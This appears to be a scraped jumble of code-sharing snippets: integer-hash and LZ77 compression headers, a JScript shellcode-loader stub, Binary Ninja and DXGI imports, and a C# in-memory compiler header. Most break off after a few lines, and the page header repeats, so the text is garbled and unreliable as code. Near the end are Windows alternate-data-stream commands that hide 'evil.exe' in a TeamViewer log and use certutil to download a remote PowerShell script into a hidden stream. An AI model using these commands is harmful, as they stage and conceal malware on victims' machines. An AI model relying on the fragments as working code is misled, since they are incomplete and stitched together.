Original link: http://www.concentric.net/~Ttwang/tech/inthash.htm
Taken from: http://web.archive.org/web/20071223173210/http://www.concentric.net/~Ttwang/tech/inthash.htm
Reformatted using pandoc
Thomas Wang, Jan 1997
last update Mar 2007
| /* PROG1.C */ | |
| /* Simple Hashing LZ77 Sliding Dictionary Compression Program */ | |
| /* By Rich Geldreich, Jr. October, 1993 */ | |
| /* Originally compiled with QuickC v2.5 in the small model. */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <ctype.h> | |
| /* set this to 1 for a greedy encoder */ |
Original link: http://www.concentric.net/~Ttwang/tech/inthash.htm
Taken from: http://web.archive.org/web/20071223173210/http://www.concentric.net/~Ttwang/tech/inthash.htm
Reformatted using pandoc
Thomas Wang, Jan 1997
last update Mar 2007
| /* | |
| Constant-time integer comparisons | |
| Written in 2014 by Samuel Neves <[email protected]> | |
| To the extent possible under law, the author(s) have dedicated all copyright | |
| and related and neighboring rights to this software to the public domain | |
| worldwide. This software is distributed without any warranty. | |
| You should have received a copy of the CC0 Public Domain Dedication along with |
| /* | |
| For any 1<k<=64, let mask=(1<<k)-1. hash_64() is a bijection on [0,1<<k), which means | |
| hash_64(x, mask)==hash_64(y, mask) if and only if x==y. hash_64i() is the inversion of | |
| hash_64(): hash_64i(hash_64(x, mask), mask) == hash_64(hash_64i(x, mask), mask) == x. | |
| */ | |
| // Thomas Wang's integer hash functions. See <https://gist.github.com/lh3/59882d6b96166dfc3d8d> for a snapshot. | |
| uint64_t hash_64(uint64_t key, uint64_t mask) | |
| { | |
| key = (~key + (key << 21)) & mask; // key = (key << 21) - key - 1; |
This is a collection of snippets, not a comprehensive guide. I suggest you start with Operational PGP.
Here is an incomplete list of things that are different from other approaches:
| import System; | |
| import System.Runtime.InteropServices; | |
| import System.Reflection; | |
| import System.Reflection.Emit; | |
| import System.Runtime; | |
| import System.Text; | |
| //C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js | |
| //C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js | |
| from binaryninja import (Architecture, RegisterInfo, InstructionInfo, | |
| InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext, | |
| BranchType, | |
| LowLevelILOperation, LLIL_TEMP, | |
| LowLevelILLabel, | |
| FlagRole, | |
| LowLevelILFlagCondition, | |
| log_error, | |
| CallingConvention, | |
| interaction, |
| // gcc -Wall dxgiinfo.c -o dxgiinfo -ldxgi -ld3d11 | |
| #define COBJMACROS | |
| #include <initguid.h> | |
| #include <stdbool.h> | |
| #include <stdio.h> | |
| #include <conio.h> | |
| #include <dxgi1_5.h> | |
| #include <d3d11.h> |
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
| using System; | |
| using System.Collections.Generic; | |
| using System.Text; | |
| using System.CodeDom.Compiler; | |
| using Microsoft.CSharp; | |
| using System.IO; | |
| using System.Reflection; | |
| namespace InMemoryCompiler | |
| { | |
| class Program |